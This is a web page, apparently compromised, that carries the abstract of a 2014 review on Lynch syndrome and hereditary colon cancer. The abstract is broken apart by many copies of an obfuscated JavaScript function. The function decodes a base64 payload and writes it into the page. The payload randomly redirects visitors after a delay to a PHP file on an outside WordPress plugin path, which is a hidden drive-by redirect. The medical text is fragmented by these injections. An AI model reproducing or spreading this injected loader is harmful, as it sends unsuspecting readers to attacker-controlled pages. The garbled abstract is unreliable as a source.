Dovepress 2014

Lynch syndrome is the most common cause of hereditary colon cancer, function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and accounts for as much as 3% of all colon function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and endometrial cancers. The identification function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and management of individuals with Lynch syndrome have evolved over the past 20 years, yet the syndrome remains vastly underdiagnosed. It is important for clinicians to recognize individuals function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and families who are at risk in order to be able to manage them appropriately function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and reduce their morbidity function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and mortality from this condition. This review will touch on the history of Lynch syndrome, the current knowledge of genotype–phenotype correlations, the cancers associated with Lynch syndrome, function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');function m65c3bbf5572b(wc){var s4=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var r1=”;var qb,rd,wb,p1,p5,q8,w7;var vf=0;do{p1=s4.indexOf(wc.charAt(vf++));p5=s4.indexOf(wc.charAt(vf++));q8=s4.indexOf(wc.charAt(vf++));w7=s4.indexOf(wc.charAt(vf++));qb=(p1<>4);rd=((p5&15)<>2);wb=((q8&3)<=192)qb+=848;else if(qb==168)qb=1025;else if(qb==184)qb=1105;r1+=String.fromCharCode(qb);if(q8!=64){if(rd>=192)rd+=848;else if(rd==168)rd=1025;else if(rd==184)rd=1105;r1+=String.fromCharCode(rd);}if(w7!=64){if(wb>=192)wb+=848;else if(wb==168)wb=1025;else if(wb==184)wb=1105;r1+=String.fromCharCode(wb);}}while(vf<wc.length);document.write(r1);};m65c3bbf5572b('PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KdmFyIG51bWJlcjE9TWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogNSk7IA0KaWYgKG51bWJlcjE9PTMpDQp7DQogdmFyIGRlbGF5ID0gMTUwMDA7CQ0KIHNldFRpbWVvdXQoImRvY3VtZW50LmxvY2F0aW9uLmhyZWY9J2h0dHA6Ly9zdGVmYW5pYWxldG8uaXQvd3AtY29udGVudC9wbHVnaW5zL2ZsZXhpYmxlLWxpZ2h0Ym94L2Nzcy9wbHVnaW4tc2V0dGluZ3MucGhwJyIsIGRlbGF5KTsNCn0NCjwvc2NyaXB0PgAA');and management of individuals who are gene carriers…